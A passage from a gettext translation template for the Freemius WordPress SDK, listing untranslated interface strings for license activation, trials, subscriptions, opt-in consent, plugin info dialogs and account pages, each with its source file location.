"" #: includes/class-freemius.php:14336 msgid "Invalid site details collection." msgstr "" #: includes/class-freemius.php:14456 msgid "We couldn't find your email address in the system, are you sure it's the right address?" msgstr "" #: includes/class-freemius.php:14458 msgid "We can't see any active licenses associated with that email address, are you sure it's the right address?" msgstr "" #: includes/class-freemius.php:14756 msgid "Account is pending activation. Please check your email and click the link to activate your account and then submit the affiliate form again." msgstr "" #: includes/class-freemius.php:14870, templates/forms/premium-versions-upgrade-handler.php:47 msgid "Buy a license now" msgstr "" #: includes/class-freemius.php:14882, templates/forms/premium-versions-upgrade-handler.php:46 msgid "Renew your license now" msgstr "" #: includes/class-freemius.php:14886 msgid "%s to access version %s security & feature updates, and support." msgstr "" #: includes/class-freemius.php:17621 msgid "%s opt-in was successfully completed." msgstr "" #: includes/class-freemius.php:17635 msgid "Your account was successfully activated with the %s plan." msgstr "" #: includes/class-freemius.php:17645, includes/class-freemius.php:21566 msgid "Your trial has been successfully started." msgstr "" #: includes/class-freemius.php:18279, includes/class-freemius.php:18392, includes/class-freemius.php:18569 msgid "Couldn't activate %s." msgstr "" #: includes/class-freemius.php:18280, includes/class-freemius.php:18393, includes/class-freemius.php:18570 msgid "Please contact us with the following message:" msgstr "" #: includes/class-freemius.php:18389, templates/forms/data-debug-mode.php:162 msgid "An unknown error has occurred." msgstr "" #: includes/class-freemius.php:18931, includes/class-freemius.php:24339 msgid "Upgrade" msgstr "" #: includes/class-freemius.php:18937 msgid "Start Trial" msgstr "" #: includes/class-freemius.php:18939 msgid "Pricing" msgstr "" #: includes/class-freemius.php:19019, includes/class-freemius.php:19021 msgid "Affiliation" msgstr "" #: includes/class-freemius.php:19049, includes/class-freemius.php:19051, templates/account.php:264, templates/debug.php:366 msgid "Account" msgstr "" #: includes/class-freemius.php:19065, includes/class-freemius.php:19067, includes/customizer/class-fs-customizer-support-section.php:60 msgid "Contact Us" msgstr "" #: includes/class-freemius.php:19078, includes/class-freemius.php:19080, includes/class-freemius.php:24353, templates/account.php:134, templates/account/partials/addon.php:49 msgid "Add-Ons" msgstr "" #: includes/class-freemius.php:19114 msgctxt "ASCII arrow left icon" msgid "←" msgstr "" #: includes/class-freemius.php:19114 msgctxt "ASCII arrow right icon" msgid "➤" msgstr "" #: includes/class-freemius.php:19116, templates/pricing.php:110 msgctxt "noun" msgid "Pricing" msgstr "" #: includes/class-freemius.php:19329, includes/customizer/class-fs-customizer-support-section.php:67 msgid "Support Forum" msgstr "" #: includes/class-freemius.php:20350 msgid "Your email has been successfully verified - you are AWESOME!" msgstr "" #: includes/class-freemius.php:20351 msgctxt "a positive response" msgid "Right on" msgstr "" #: includes/class-freemius.php:20857 msgid "seems like the key you entered doesn't match our records." msgstr "" #: includes/class-freemius.php:20881 msgid "Debug mode was successfully enabled and will be automatically disabled in 60 min. You can also disable it earlier by clicking the \"Stop Debug\" link." msgstr "" #: includes/class-freemius.php:21116 msgid "Your %s Add-on plan was successfully upgraded." msgstr "" #: includes/class-freemius.php:21118 msgid "%s Add-on was successfully purchased." msgstr "" #: includes/class-freemius.php:21121 msgid "Download the latest version" msgstr "" #: includes/class-freemius.php:21239 msgid "It seems like one of the authentication parameters is wrong. Update your Public Key, Secret Key & User ID, and try again." msgstr "" #: includes/class-freemius.php:21239, includes/class-freemius.php:21636, includes/class-freemius.php:21737, includes/class-freemius.php:21824 msgid "Error received from the server:" msgstr "" #: includes/class-freemius.php:21470, includes/class-freemius.php:21742, includes/class-freemius.php:21795, includes/class-freemius.php:21902 msgctxt "something somebody says when they are thinking about what you have just said." msgid "Hmm" msgstr "" #: includes/class-freemius.php:21483 msgid "It looks like you are still on the %s plan. If you did upgrade or change your plan, it's probably an issue on our side - sorry." msgstr "" #: includes/class-freemius.php:21484, templates/account.php:136, templates/add-ons.php:250, templates/account/partials/addon.php:51 msgctxt "trial period" msgid "Trial" msgstr "" #: includes/class-freemius.php:21489 msgid "I have upgraded my account but when I try to Sync the License, the plan remains %s." msgstr "" #: includes/class-freemius.php:21493, includes/class-freemius.php:21545 msgid "Please contact us here" msgstr "" #: includes/class-freemius.php:21515 msgid "Your plan was successfully changed to %s." msgstr "" #: includes/class-freemius.php:21531 msgid "Your license has expired. You can still continue using the free %s forever." msgstr "" #: includes/class-freemius.php:21533 msgid "Your license has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions." msgstr "" #: includes/class-freemius.php:21541 msgid "Your license has been cancelled. If you think it's a mistake, please contact support." msgstr "" #: includes/class-freemius.php:21554 msgid "Your license has expired. You can still continue using all the %s features, but you'll need to renew your license to continue getting updates and support." msgstr "" #: includes/class-freemius.php:21580 msgid "Your free trial has expired. You can still continue using all our free features." msgstr "" #: includes/class-freemius.php:21582 msgid "Your free trial has expired. %1$sUpgrade now%2$s to continue using the %3$s without interruptions." msgstr "" #: includes/class-freemius.php:21628 msgid "Your server is blocking the access to Freemius' API, which is crucial for %1$s synchronization. Please contact your host to whitelist the following domains:%2$s" msgstr "" #: includes/class-freemius.php:21630 msgid "Show error details" msgstr "" #: includes/class-freemius.php:21733 msgid "It looks like the license could not be activated." msgstr "" #: includes/class-freemius.php:21775 msgid "Your license was successfully activated." msgstr "" #: includes/class-freemius.php:21799 msgid "It looks like your site currently doesn't have an active license." msgstr "" #: includes/class-freemius.php:21823 msgid "It looks like the license deactivation failed." msgstr "" #: includes/class-freemius.php:21852 msgid "Your %s license was successfully deactivated." msgstr "" #: includes/class-freemius.php:21853 msgid "Your license was successfully deactivated, you are back to the %s plan." msgstr "" #: includes/class-freemius.php:21856 msgid "O.K" msgstr "" #: includes/class-freemius.php:21909 msgid "Seems like we are having some temporary issue with your subscription cancellation. Please try again in few minutes." msgstr "" #: includes/class-freemius.php:21918 msgid "Your subscription was successfully cancelled. Your %s plan license will expire in %s." msgstr "" #: includes/class-freemius.php:21960 msgid "You are already running the %s in a trial mode." msgstr "" #: includes/class-freemius.php:21971 msgid "You already utilized a trial before." msgstr "" #: includes/class-freemius.php:21985 msgid "Plan %s do not exist, therefore, can't start a trial." msgstr "" #: includes/class-freemius.php:21996 msgid "Plan %s does not support a trial period." msgstr "" #: includes/class-freemius.php:22007 msgid "None of the %s's plans supports a trial period." msgstr "" #: includes/class-freemius.php:22056 msgid "It looks like you are not in trial mode anymore so there's nothing to cancel :)" msgstr "" #: includes/class-freemius.php:22092 msgid "Seems like we are having some temporary issue with your trial cancellation. Please try again in few minutes." msgstr "" #: includes/class-freemius.php:22111 msgid "Your %s free trial was successfully cancelled." msgstr "" #: includes/class-freemius.php:22438 msgid "Version %s was released." msgstr "" #: includes/class-freemius.php:22438 msgid "Please download %s." msgstr "" #: includes/class-freemius.php:22445 msgid "the latest %s version here" msgstr "" #: includes/class-freemius.php:22450 msgid "New" msgstr "" #: includes/class-freemius.php:22455 msgid "Seems like you got the latest release." msgstr "" #: includes/class-freemius.php:22456 msgid "You are all good!" msgstr "" #: includes/class-freemius.php:22859 msgid "Verification mail was just sent to %s. If you can't find it after 5 min, please check your spam box." msgstr "" #: includes/class-freemius.php:22999 msgid "Site successfully opted in." msgstr "" #: includes/class-freemius.php:23000, includes/class-freemius.php:24049 msgid "Awesome" msgstr "" #: includes/class-freemius.php:23016 msgid "Sharing diagnostic data with %s helps to provide functionality that's more relevant to your website, avoid WordPress or PHP version incompatibilities that can break your website, and recognize which languages & regions the plugin should be translated and tailored to." msgstr "" #: includes/class-freemius.php:23017 msgid "Thank you!" msgstr "" #: includes/class-freemius.php:23026 msgid "Diagnostic data will no longer be sent from %s to %s." msgstr "" #: includes/class-freemius.php:23181 msgid "A confirmation email was just sent to %s. The email owner must confirm the update within the next 4 hours." msgstr "" #: includes/class-freemius.php:23183 msgid "A confirmation email was just sent to %s. You must confirm the update within the next 4 hours. If you cannot find the email, please check your spam folder." msgstr "" #: includes/class-freemius.php:23190 msgid "Thanks for confirming the ownership change. An email was just sent to %s for final approval." msgstr "" #: includes/class-freemius.php:23195 msgid "%s is the new owner of the account." msgstr "" #: includes/class-freemius.php:23197 msgctxt "as congratulations" msgid "Congrats" msgstr "" #: includes/class-freemius.php:23214 msgid "Please provide your full name." msgstr "" #: includes/class-freemius.php:23219 msgid "Your name was successfully updated." msgstr "" #: includes/class-freemius.php:23280 msgid "You have successfully updated your %s." msgstr "" #: includes/class-freemius.php:23339 msgid "Is this your client's site? %s if you wish to hide sensitive info like your email, license key, prices, billing address & invoices from the WP Admin." msgstr "" #: includes/class-freemius.php:23342 msgid "Click here" msgstr "" #: includes/class-freemius.php:23379, includes/class-freemius.php:23376 msgid "Bundle" msgstr "" #: includes/class-freemius.php:23459 msgid "Just letting you know that the add-ons information of %s is being pulled from an external server." msgstr "" #: includes/class-freemius.php:23460 msgctxt "advance notice of something that will need attention." msgid "Heads up" msgstr "" #: includes/class-freemius.php:24089 msgctxt "exclamation" msgid "Hey" msgstr "" #: includes/class-freemius.php:24089 msgid "How do you like %s so far? Test all our %s premium features with a %d-day free trial." msgstr "" #: includes/class-freemius.php:24097 msgid "No commitment for %s days - cancel anytime!" msgstr "" #: includes/class-freemius.php:24098 msgid "No credit card required" msgstr "" #: includes/class-freemius.php:24105, templates/forms/trial-start.php:53 msgctxt "call to action" msgid "Start free trial" msgstr "" #: includes/class-freemius.php:24182 msgid "Hey there, did you know that %s has an affiliate program? If you like the %s you can become our ambassador and earn some cash!" msgstr "" #: includes/class-freemius.php:24191 msgid "Learn more" msgstr "" #: includes/class-freemius.php:24377, templates/account.php:573, templates/account.php:725, templates/connect.php:221, templates/connect.php:447, includes/managers/class-fs-clone-manager.php:1295, templates/forms/license-activation.php:27, templates/account/partials/addon.php:326 msgid "Activate License" msgstr "" #: includes/class-freemius.php:24378, templates/account.php:667, templates/account.php:724, templates/account/partials/addon.php:327, templates/account/partials/site.php:273 msgid "Change License" msgstr "" #: includes/class-freemius.php:24485, templates/account/partials/site.php:170 msgid "Opt Out" msgstr "" #: includes/class-freemius.php:24487, includes/class-freemius.php:24493, templates/account/partials/site.php:49, templates/account/partials/site.php:170 msgid "Opt In" msgstr "" #: includes/class-freemius.php:24728 msgid " The paid version of %1$s is already installed. Please activate it to start benefiting the %2$s features. %3$s" msgstr "" #: includes/class-freemius.php:24738 msgid "Activate %s features" msgstr "" #: includes/class-freemius.php:24751 msgid "Please follow these steps to complete the upgrade" msgstr "" #: includes/class-freemius.php:24755 msgid "Download the latest %s version" msgstr "" #: includes/class-freemius.php:24759 msgid "Upload and activate the downloaded version" msgstr "" #: includes/class-freemius.php:24761 msgid "How to upload and activate?" msgstr "" #: includes/class-freemius.php:24796 msgid "Your plan was successfully upgraded." msgstr "" #: includes/class-freemius.php:24797 msgid "Your plan was successfully activated." msgstr "" #: includes/class-freemius.php:24927 msgid "%sClick here%s to choose the sites where you'd like to activate the license on." msgstr "" #: includes/class-freemius.php:25096 msgid "Auto installation only works for opted-in users." msgstr "" #: includes/class-freemius.php:25106, includes/class-freemius.php:25139, includes/class-fs-plugin-updater.php:1294, includes/class-fs-plugin-updater.php:1308 msgid "Invalid module ID." msgstr "" #: includes/class-freemius.php:25115, includes/class-fs-plugin-updater.php:1330 msgid "Premium version already active." msgstr "" #: includes/class-freemius.php:25122 msgid "You do not have a valid license to access the premium version." msgstr "" #: includes/class-freemius.php:25129 msgid "Plugin is a \"Serviceware\" which means it does not have a premium code version." msgstr "" #: includes/class-freemius.php:25147, includes/class-fs-plugin-updater.php:1329 msgid "Premium add-on version already installed." msgstr "" #: includes/class-freemius.php:25501 msgid "View paid features" msgstr "" #: includes/class-freemius.php:25805 msgid "Thank you so much for using %s and its add-ons!" msgstr "" #: includes/class-freemius.php:25806 msgid "Thank you so much for using %s!" msgstr "" #: includes/class-freemius.php:25812 msgid "You've already opted-in to our usage-tracking, which helps us keep improving the %s." msgstr "" #: includes/class-freemius.php:25816 msgid "Thank you so much for using our products!" msgstr "" #: includes/class-freemius.php:25817 msgid "You've already opted-in to our usage-tracking, which helps us keep improving them." msgstr "" #: includes/class-freemius.php:25836 msgid "%s and its add-ons" msgstr "" #: includes/class-freemius.php:25845 msgid "Products" msgstr "" #: includes/class-freemius.php:25852, templates/connect.php:322 msgid "Yes" msgstr "" #: includes/class-freemius.php:25853, templates/connect.php:323 msgid "send me security & feature updates, educational content and offers." msgstr "" #: includes/class-freemius.php:25854, templates/connect.php:328 msgid "No" msgstr "" #: includes/class-freemius.php:25856, templates/connect.php:330 msgid "do %sNOT%s send me security & feature updates, educational content and offers." msgstr "" #: includes/class-freemius.php:25866 msgid "Due to the new %sEU General Data Protection Regulation (GDPR)%s compliance requirements it is required that you provide your explicit consent, again, confirming that you are onboard :-)" msgstr "" #: includes/class-freemius.php:25868, templates/connect.php:337 msgid "Please let us know if you'd like us to contact you for security & feature updates, educational content, and occasional offers:" msgstr "" #: includes/class-freemius.php:26158 msgid "License key is empty." msgstr "" #: includes/class-fs-plugin-updater.php:210, templates/forms/premium-versions-upgrade-handler.php:57 msgid "Renew license" msgstr "" #: includes/class-fs-plugin-updater.php:215, templates/forms/premium-versions-upgrade-handler.php:58 msgid "Buy license" msgstr "" #: includes/class-fs-plugin-updater.php:335, includes/class-fs-plugin-updater.php:368 msgid "There is a %s of %s available." msgstr "" #: includes/class-fs-plugin-updater.php:337, includes/class-fs-plugin-updater.php:373 msgid "new Beta version" msgstr "" #: includes/class-fs-plugin-updater.php:338, includes/class-fs-plugin-updater.php:374 msgid "new version" msgstr "" #: includes/class-fs-plugin-updater.php:397 msgid "Important Upgrade Notice:" msgstr "" #: includes/class-fs-plugin-updater.php:1359 msgid "Installing plugin: %s" msgstr "" #: includes/class-fs-plugin-updater.php:1400 msgid "Unable to connect to the filesystem. Please confirm your credentials." msgstr "" #: includes/class-fs-plugin-updater.php:1582 msgid "The remote plugin package does not contain a folder with the desired slug and renaming did not work." msgstr "" #: includes/fs-plugin-info-dialog.php:542 msgid "Purchase More" msgstr "" #: includes/fs-plugin-info-dialog.php:543, templates/account/partials/addon.php:390 msgctxt "verb" msgid "Purchase" msgstr "" #: includes/fs-plugin-info-dialog.php:547 msgid "Start my free %s" msgstr "" #: includes/fs-plugin-info-dialog.php:745 msgid "Install Free Version Update Now" msgstr "" #: includes/fs-plugin-info-dialog.php:746, templates/account.php:656 msgid "Install Update Now" msgstr "" #: includes/fs-plugin-info-dialog.php:755 msgid "Install Free Version Now" msgstr "" #: includes/fs-plugin-info-dialog.php:756, templates/add-ons.php:323, templates/auto-installation.php:111, templates/account/partials/addon.php:370, templates/account/partials/addon.php:423 msgid "Install Now" msgstr "" #: includes/fs-plugin-info-dialog.php:772 msgctxt "as download latest version" msgid "Download Latest Free Version" msgstr "" #: includes/fs-plugin-info-dialog.php:773, templates/account.php:114, templates/add-ons.php:37, templates/account/partials/addon.php:30 msgctxt "as download latest version" msgid "Download Latest" msgstr "" #: includes/fs-plugin-info-dialog.php:788, templates/add-ons.php:329, templates/account/partials/addon.php:361, templates/account/partials/addon.php:417 msgid "Activate this add-on" msgstr "" #: includes/fs-plugin-info-dialog.php:790, templates/connect.php:444 msgid "Activate Free Version" msgstr "" #: includes/fs-plugin-info-dialog.php:791, templates/account.php:138, templates/add-ons.php:330, templates/account/partials/addon.php:53 msgid "Activate" msgstr "" #: includes/fs-plugin-info-dialog.php:1003 msgctxt "Plugin installer section title" msgid "Description" msgstr "" #: includes/fs-plugin-info-dialog.php:1004 msgctxt "Plugin installer section title" msgid "Installation" msgstr "" #: includes/fs-plugin-info-dialog.php:1005 msgctxt "Plugin installer section title" msgid "FAQ" msgstr "" #: includes/fs-plugin-info-dialog.php:1006, templates/plugin-info/description.php:55 msgid "Screenshots" msgstr "" #: includes/fs-plugin-info-dialog.php:1007 msgctxt "Plugin installer section title" msgid "Changelog" msgstr "" #: includes/fs-plugin-info-dialog.php:1008 msgctxt "Plugin installer section title" msgid "Reviews" msgstr "" #: includes/fs-plugin-info-dialog.php:1009 msgctxt "Plugin installer section title" msgid "Other Notes" msgstr "" #: includes/fs-plugin-info-dialog.php:1024 msgctxt "Plugin installer section title" msgid "Features & Pricing" msgstr "" #: includes/fs-plugin-info-dialog.php:1034 msgid "Plugin Install" msgstr "" #: includes/fs-plugin-info-dialog.php:1106 msgctxt "e.g. Professional Plan" msgid "%s Plan" msgstr "" #: includes/fs-plugin-info-dialog.php:1132 msgctxt "e.g. the best product" msgid "Best" msgstr "" #: includes/fs-plugin-info-dialog.php:1138, includes/fs-plugin-info-dialog.php:1158 msgctxt "as every month" msgid "Monthly" msgstr "" #: includes/fs-plugin-info-dialog.php:1141 msgctxt "as once a year" msgid "Annual" msgstr "" #: includes/fs-plugin-info-dialog.php:1144 msgid "Lifetime" msgstr "" #: includes/fs-plugin-info-dialog.php:1158, includes/fs-plugin-info-dialog.php:1160, includes/fs-plugin-info-dialog.php:1162 msgctxt "e.g. billed monthly" msgid "Billed %s" msgstr "" #: includes/fs-plugin-info-dialog.php:1160 msgctxt "as once a year" msgid "Annually" msgstr "" #: includes/fs-plugin-info-dialog.php:1162 msgctxt "as once a year" msgid "Once" msgstr "" #: includes/fs-plugin-info-dialog.php:1168 msgid "Single Site License" msgstr "" #: includes/fs-plugin-info-dialog.php:1170 msgid "Unlimited Licenses" msgstr "" #: includes/fs-plugin-info-dialog.php:1172 msgid "Up to %s Sites" msgstr "" #: includes/fs-plugin-info-dialog.php:1182, templates/plugin-info/features.php:82 msgctxt "as monthly period" msgid "mo" msgstr "" #: includes/fs-plugin-info-dialog.php:1189, templates/plugin-info/features.php:80 msgctxt "as annual period" msgid "year" msgstr "" #: includes/fs-plugin-info-dialog.php:1243 msgctxt "noun" msgid "Price" msgstr "" #: includes/fs-plugin-info-dialog.php:1291 msgid "Save %s" msgstr "" #: includes/fs-plugin-info-dialog.php:1301 msgid "No commitment for %s - cancel anytime" msgstr "" #: includes/fs-plugin-info-dialog.php:1304 msgid "After your free %s, pay as little as %s" msgstr "" #: includes/fs-plugin-info-dialog.php:1315 msgid "Details" msgstr "" #: includes/fs-plugin-info-dialog.php:1319, templates/account.php:125, templates/debug.php:232, templates/debug.php:269, templates/debug.php:518, templates/account/partials/addon.php:41 msgctxt "product version" msgid "Version" msgstr "" #: includes/fs-plugin-info-dialog.php:1326 msgctxt "as the plugin author" msgid "Author" msgstr "" #: includes/fs-plugin-info-dialog.php:1333 msgid "Last Updated" msgstr "" #: includes/fs-plugin-info-dialog.php:1338, templates/account.php:544 msgctxt "x-ago" msgid "%s ago" msgstr "" #: includes/fs-plugin-info-dialog.php:1347 msgid "Requires WordPress Version" msgstr "" #: includes/fs-plugin-info-dialog.php:1350, includes/fs-plugin-info-dialog.php:1370 msgid "%s or higher" msgstr "" #: includes/fs-plugin-info-dialog.php:1358 msgid "Compatible up to" msgstr "" #: includes/fs-plugin-info-dialog.php:1366 msgid "Requires PHP Version" msgstr "" #: includes/fs-plugin-info-dialog.php:1379 msgid "Downloaded" msgstr "" #: includes/fs-plugin-info-dialog.php:1383 msgid "%s time" msgstr "" #: includes/fs-plugin-info-dialog.php:1385 msgid "%s times" msgstr "" #: includes/fs-plugin-info-dialog.php:1396 msgid "WordPress.org Plugin Page" msgstr "" #: includes/fs-plugin-info-dialog.php:1405 msgid "Plugin Homepage" msgstr "" #: includes/fs-plugin-info-dialog.php:1414, includes/fs-plugin-info-dialog.php:1498 msgid "Donate to this plugin" msgstr "" #: includes/fs-plugin-info-dialog.php:1421 msgid "Average Rating" msgstr "" #: includes/fs-plugin-info-dialog.php:1428 msgid "based on %s" msgstr "" #: includes/fs-plugin-info-dialog.php:1432 msgid "%s rating" msgstr "" #: includes/fs-plugin-info-dialog.php:1434 msgid "%s ratings" msgstr "" #: includes/fs-plugin-info-dialog.php:1449 msgid "%s star" msgstr "" #: includes/fs-plugin-info-dialog.php:1451 msgid "%s stars" msgstr "" #: includes/fs-plugin-info-dialog.php:1463 msgid "Click to see reviews that provided a rating of %s" msgstr "" #: includes/fs-plugin-info-dialog.php:1476 msgid "Contributors" msgstr "" #: includes/fs-plugin-info-dialog.php:1517 msgid "This plugin requires a newer version of PHP." msgstr "" #: includes/fs-plugin-info-dialog.php:1526 msgid "Click here to learn more about updating PHP." msgstr "" #: includes/fs-plugin-info-dialog.php:1540, includes/fs-plugin-info-dialog.php:1542 msgid "Warning" msgstr "" #: includes/fs-plugin-info-dialog.php:1540 msgid "This plugin has not been tested with your current version of WordPress." msgstr "" #: includes/fs-plugin-info-dialog.php:1542 msgid "This plugin has not been marked as compatible with your version of WordPress." msgstr "" #: includes/fs-plugin-info-dialog.php:1561 msgid "Paid add-on must be deployed to Freemius." msgstr "" #: includes/fs-plugin-info-dialog.php:1562 msgid "Add-on must be deployed to WordPress.org or Freemius." msgstr "" #: includes/fs-plugin-info-dialog.php:1583 msgid "Newer Version (%s) Installed" msgstr "" #: includes/fs-plugin-info-dialog.php:1584 msgid "Newer Free Version (%s) Installed" msgstr "" #: includes/fs-plugin-info-dialog.php:1591 msgid "Latest Version Installed" msgstr "" #: includes/fs-plugin-info-dialog.php:1592 msgid "Latest Free Version Installed" msgstr "" #: templates/account.php:115, templates/forms/subscription-cancellation.php:96, templates/account/partials/addon.php:31, templates/account/partials/site.php:313 msgid "Downgrading your plan" msgstr "" #: templates/account.php:116, templates/forms/subscription-cancellation.php:97, templates/account/partials/addon.php:32, templates/account/partials/site.php:314 msgid "Cancelling the subscription" msgstr "" #. translators: %1$s: Either 'Downgrading your plan' or 'Cancelling the subscription' #: templates/account.php:118, templates/forms/subscription-cancellation.php:99, templates/account/partials/site.php:316 msgid "%1$s will immediately stop all future recurring payments and your %2$s plan license will expire in %3$s." msgstr "" #: templates/account.php:119, templates/forms/subscription-cancellation.php:100, templates/account/partials/addon.php:35, templates/account/partials/site.php:317 msgid "Please note that we will not be able to grandfather outdated pricing for renewals/new subscriptions after a cancellation. If you choose to renew the subscription manually in the future, after a price increase, which typically occurs once a year, you will be charged the updated price." msgstr "" #: templates/account.php:120, templates/forms/subscription-cancellation.php:106, templates/account/partials/addon.php:36 msgid "Cancelling the trial will immediately block access to all premium features. Are you sure?" msgstr "" #: templates/account.php:121, templates/forms/subscription-cancellation.php:101, templates/account/partials/addon.php:37, templates/account/partials/site.php:318 msgid "You can still enjoy all %s features but you will not have access to %s security & feature updates, nor support." msgstr "" #: templates/account.php:122, templates/forms/subscription-cancellation.php:102, templates/account/partials/addon.php:38, templates/account/partials/site.php:319 msgid "Once your license expires you can still use the Free version but you will NOT have access to the %s features." msgstr "" #. translators: %s: Plan title (e.g. "Professional") #: templates/account.php:124, templates/account/partials/activate-license-button.php:31, templates/account/partials/addon.php:40 msgid "Activate %s Plan" msgstr "" #. translators: %s: Time period (e.g. Auto renews in "2 months") #: templates/account.php:127, templates/account/partials/addon.php:43, templates/account/partials/site.php:293 msgid "Auto renews in %s" msgstr "" #. translators: %s: Time period (e.g. Expires in "2 months") #: templates/account.php:129, templates/account/partials/addon.php:45, templates/account/partials/site.php:295 msgid "Expires in %s" msgstr "" #: templates/account.php:130 msgctxt "as synchronize license" msgid "Sync License" msgstr "" #: templates/account.php:131, templates/account/partials/addon.php:46 msgid "Cancel Trial" msgstr "" #: templates/account.php:132, templates/account/partials/addon.php:47 msgid "Change Plan" msgstr "" #: templates/account.php:133, templates/account/partials/addon.php:48 msgctxt "verb" msgid "Upgrade" msgstr "" #: templates/account.php:135, templates/account/partials/addon.php:50, templates/account/partials/site.php:320 msgctxt "verb" msgid "Downgrade" msgstr "" #: templates/account.php:137, templates/add-ons.php:246, templates/plugin-info/features.php:72, templates/account/partials/addon.php:52, templates/account/partials/site.php:33 msgid "Free" msgstr "" #: templates/account.php:139, templates/debug.php:412, includes/customizer/class-fs-customizer-upsell-control.php:110, templates/account/partials/addon.php:54 msgctxt "as product pricing plan" msgid "Plan" msgstr "" #: templates/account.php:140 msgid "Bundle Plan" msgstr "" #: templates/account.php:272 msgid "Free Trial" msgstr "" #: templates/account.php:283 msgid "Account Details" msgstr "" #: templates/account.php:290, templates/forms/data-debug-mode.php:33 msgid "Start Debug" msgstr "" #: templates/account.php:292 msgid "Stop Debug" msgstr "" #: templates/account.php:299 msgid "Billing & Invoices" msgstr "" #: templates/account.php:322, templates/account/partials/addon.php:236, templates/account/partials/deactivate-license-button.php:35 msgid "Deactivate License" msgstr "" #: templates/account.php:345, templates/forms/subscription-cancellation.php:125 msgid "Are you sure you want to proceed?" msgstr "" #: templates/account.php:345, templates/account/partials/addon.php:260 msgid "Cancel Subscription" msgstr "" #: templates/account.php:374, templates/account/partials/addon.php:345 msgctxt "as synchronize" msgid "Sync" msgstr "" #: templates/account.php:389, templates/debug.php:575 msgid "Name" msgstr "" #: templates/account.php:395, templates/debug.php:576 msgid "Email" msgstr "" #: templates/account.php:402, templates/debug.php:410, templates/debug.php:625 msgid "User ID" msgstr "" #: templates/account.php:420, templates/account.php:738, templates/account.php:789, templates/debug.php:267, templates/debug.php:404, templates/debug.php:515, templates/debug.php:574, templates/debug.php:623, templates/debug.php:702, templates/account/payments.php:35, templates/debug/logger.php:21 msgid "ID" msgstr "" #: templates/account.php:427 msgid "Site ID" msgstr "" #: templates/account.php:430 msgid "No ID" msgstr "" #: templates/account.php:435, templates/debug.php:274, templates/debug.php:413, templates/debug.php:519, templates/debug.php:578, templates/account/partials/site.php:228 msgid "Public Key" msgstr "" #: templates/account.php:441, templates/debug.php:414, templates/debug.php:520, templates/debug.php:579, templates/account/partials/site.php:241 msgid "Secret Key" msgstr "" #: templates/account.php:444 msgctxt "as secret encryption key missing" msgid "No Secret" msgstr "" #: templates/account.php:471, templates/account/partials/site.php:120, templates/account/partials/site.php:122 msgid "Trial" msgstr "" #: templates/account.php:498, templates/debug.php:631, templates/account/partials/site.php:262 msgid "License Key" msgstr "" #: templates/account.php:529 msgid "Join the Beta program" msgstr "" #: templates/account.php:535 msgid "not verified" msgstr "" #: templates/account.php:544, templates/account/partials/addon.php:195 msgid "Expired" msgstr "" #: templates/account.php:602 msgid "Premium version" msgstr "" #: templates/account.php:604 msgid "Free version" msgstr "" #: templates/account.php:616 msgid "Verify Email" msgstr "" #: templates/account.php:630 msgid "Download %s Version" msgstr "" #: templates/account.php:646 msgid "Download Paid Version" msgstr "" #: templates/account.php:664, templates/account.php:927, templates/account/partials/site.php:250, templates/account/partials/site.php:272 msgctxt "verb" msgid "Show" msgstr "" #: templates/account.php:680 msgid "What is your %s?" msgstr "" #: templates/account.php:688, templates/account/billing.php:21 msgctxt "verb" msgid "Edit" msgstr "" #: templates/account.php:693, templates/forms/user-change.php:27 msgid "Change User" msgstr "" #: templates/account.php:717 msgid "Sites" msgstr "" #: templates/account.php:730 msgid "Search by address" msgstr "" #: templates/account.php:739, templates/debug.php:407 msgid "Address" msgstr "" #: templates/account.php:740 msgid "License" msgstr "" #: templates/account.php:741 msgid "Plan" msgstr "" #: templates/account.php:792 msgctxt "as software license" msgid "License" msgstr "" #: templates/account.php:921 msgctxt "verb" msgid "Hide" msgstr "" #: templates/account.php:943, templates/forms/data-debug-mode.php:31, templates/forms/deactivation/form.php:358, templates/forms/deactivation/form.php:389 msgid "Processing" msgstr "" #: templates/account.php:946 msgid "Get updates for bleeding edge Beta versions of %s." msgstr "" #: templates/account.php:1004 msgid "Cancelling %s" msgstr "" #: templates/account.php:1004, templates/account.php:1021, templates/forms/subscription-cancellation.php:27, templates/forms/deactivation/form.php:178 msgid "trial" msgstr "" #: templates/account.php:1019, templates/forms/deactivation/form.php:195 msgid "Cancelling %s..." msgstr "" #: templates/account.php:1022, templates/forms/subscription-cancellation.php:28, templates/forms/deactivation/form.php:179 msgid "subscription" msgstr "" #: templates/account.php:1036 msgid "Deactivating your license will block all premium features, but will enable activating the license on another site. Are you sure you want to proceed?" msgstr "" #: templates/account.php:1110 msgid "Disabling white-label mode" msgstr "" #: templates/account.php:1111 msgid "Enabling white-label mode" msgstr "" #: templates/add-ons.php:38 msgid "View details" msgstr "" #: templates/add-ons.php:48 msgid "Add Ons for %s" msgstr "" #: templates/add-ons.php:58 msgid "We couldn't load the add-ons list. It's probably an issue on our side, please try to come back in few minutes." msgstr "" #: templates/add-ons.php:229 msgctxt "active add-on" msgid "Active" msgstr "" #: templates/add-ons.php:230 msgctxt "installed add-on" msgid "Installed" msgstr "" #: templates/admin-notice.php:13, templates/forms/license-activation.php:243, templates/forms/resend-key.php:80 msgctxt "as close a window" msgid "Dismiss" msgstr "" #: templates/auto-installation.php:45 msgid "%s sec" msgstr "" #: templates/auto-installation.php:83 msgid "Automatic Installation" msgstr "" #: templates/auto-installation.php:93 msgid "An automated download and installation of %s (paid version) from %s will start in %s. If you would like to do it manually - click the cancellation button now." msgstr "" #: templates/auto-installation.php:104 msgid "The installation process has started and may take a few minutes to complete. Please wait until it is done - do not refresh this page." msgstr "" #: templates/auto-installation.php:109 msgid "Cancel Installation" msgstr "" #: templates/checkout.php:181 msgid "Checkout" msgstr "" #: templates/checkout.php:181 msgid "PCI compliant" msgstr "" #. translators: %s: name (e.g. Hey John,) #: templates/connect.php:127 msgctxt "greeting" msgid "Hey %s," msgstr "" #: templates/connect.php:187 msgid "Never miss an important update" msgstr "" #: templates/connect.php:195 msgid "Thank you for updating to %1$s v%2$s!" msgstr "" #: templates/connect.php:205 msgid "Allow & Continue" msgstr "" #: templates/connect.php:209 msgid "Re-send activation email" msgstr "" #: templates/connect.php:213 msgid "Thanks %s!" msgstr "" #: templates/connect.php:214 msgid "You should receive a confirmation email for %s to your mailbox at %s. Please make sure you click the button in that email to %s." msgstr "" #: templates/connect.php:225 msgid "Welcome to %s! To get started, please enter your license key:" msgstr "" #: templates/connect.php:236 msgid "Opt in to get email notifications for security & feature updates, educational content, and occasional offers, and to share some basic WordPress environment info. This will help us make the %s more compatible with your site and better at doing what you need it to." msgstr "" #. translators: 